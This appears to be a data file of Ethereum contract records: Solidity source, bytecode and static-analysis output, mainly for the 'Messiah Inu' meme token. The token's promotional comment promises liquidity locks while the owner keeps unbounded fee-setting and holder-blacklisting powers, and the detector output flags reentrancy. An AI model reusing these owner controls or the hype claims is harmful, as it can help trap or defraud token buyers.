b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122096f647f747e2957051af395fa01b6130d51f2b0d2b073b00a585e1a8a2a91b2064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,619 |
0xf39938e910e49747952226ed5c269537cdf654d0 | // SPDX-License-Identifier: Unlicensed
/**
▄█░ █▀▀▀ █▀▀█ █▀▀█ █▀▀▄ █▀▀█ ░▀░ █▀▀ █░░█
░█░ █░▀█ █░░█ █░░█ █░░█ █▄▄▀ ▀█▀ █░░ █▀▀█
▄█▄ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀░░▀ ▀░▀▀ ▀▀▀ ▀▀▀ ▀░░▀
Crypto Messiah Memes flood twitter as a New Age begins.
He's also seen the whole dog-related minicoin boom.
Please, let's shout Messiah
It’s - when can I pay of my parents mortage as they both sick.
It’s - when can I pay off my mortgage.
It’s - when can I stop working 16hr shifts & do something easier
It hasn’t happened yet but I’m hopeful. Next Messiah lol?
Here comes the opportunity, please let $Messiah lead us to realize our dream together.
Our goals are the same. We will lock liquidity and renounce ownership immediately.
Total: 555,555,555,555
Liquidity: 5
Max buy: 5,555,555,555
Burn: 55,555,555,555
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MESSIAH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Messiah Inu";
string private constant _symbol = "MESSIAH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 555555555555 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xc8f3C8b187a0d34c22c22C322c6B11Ed221AFc33);
address payable private _marketingAddress = payable(0xc8f3C8b187a0d34c22c22C322c6B11Ed221AFc33);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5555555555 * 10**9;
uint256 public _maxWalletSize = 5555555555 * 10**9;
uint256 public _swapTokensAtAmount = 55555 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b557600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b610600565b005b34801561020a57600080fd5b5060408051808201909152600b81526a4d65737369616820496e7560a81b60208201525b60405161023b9190611a1f565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a74565b61069f565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50681e1de1d2515a911e005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611aa0565b6106b6565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601554610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae1565b61071f565b34801561037057600080fd5b506101fc61037f366004611b0e565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611ae1565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611b29565b610893565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae1565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610294565b34801561045b57600080fd5b506101fc61046a366004611b0e565b6108c2565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600781526609a8aa6a69282960cb1b602082015261022e565b3480156104c157600080fd5b506101fc6104d0366004611b29565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b42565b610939565b34801561050157600080fd5b50610264610510366004611a74565b610977565b34801561052157600080fd5b50610264610530366004611ae1565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b74565b6109d8565b34801561058657600080fd5b506102c4610595366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b29565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611ae1565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c31565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c92565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c31565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c31565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c31565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c31565b60005b82811015610a73578160056000868685818110610a2457610a24611c66565b9050602002016020810190610a399190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c92565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c31565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c31565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611cab565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611464565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a1f565b5060006112238486611cc3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d7611492565b90506112e383826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611cda565b816001815181106113c2576113c2611c66565b6001600160a01b0392831660209182029290920101526014546113e89130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611421908590600090869030904290600401611cf7565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611471576114716114f7565b61147c848484611525565b80610a7357610a73600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165e565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115378761168c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156990876116e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611598908661172b565b6001600160a01b0389166000908152600260205260409020556115ba8161178a565b6115c484836117d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190681e1de1d2515a911e0061163882826114b5565b82101561165557505060065492681e1de1d2515a911e0092509050565b90939092509050565b6000818361167f5760405162461bcd60e51b815260040161062a9190611a1f565b5060006112238486611d68565b60008060008060008060008060006116a98a600c54600d546117f8565b92509250925060006116b9611492565b905060008060006116cc8e87878761184d565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117388385611cab565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b6000611794611492565b905060006117a2838361189d565b306000908152600260205260409020549091506117bf908261172b565b30600090815260026020526040902055505050565b6006546117e190836116e9565b6006556007546117f1908261172b565b6007555050565b6000808080611812606461180c898961189d565b906114b5565b90506000611825606461180c8a8961189d565b9050600061183d826118378b866116e9565b906116e9565b9992985090965090945050505050565b600080808061185c888661189d565b9050600061186a888761189d565b90506000611878888861189d565b9050600061188a8261183786866116e9565b939b939a50919850919650505050505050565b6000826000036118af575060006106b0565b60006118bb8385611d8a565b9050826118c88583611d68565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112e381611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112e382611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca457611ca4611c7c565b5060010190565b60008219821115611cbe57611cbe611c7c565b500190565b600082821015611cd557611cd5611c7c565b500390565b600060208284031215611cec57600080fd5b81516112e381611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041a3ecc40d5ffa2a8135bfbb6fc1f0318043869bc71039e6c976075f3e5fa10964736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,620 |
0x79c944ac64039b202adf589c015b965fc5130f6a | pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
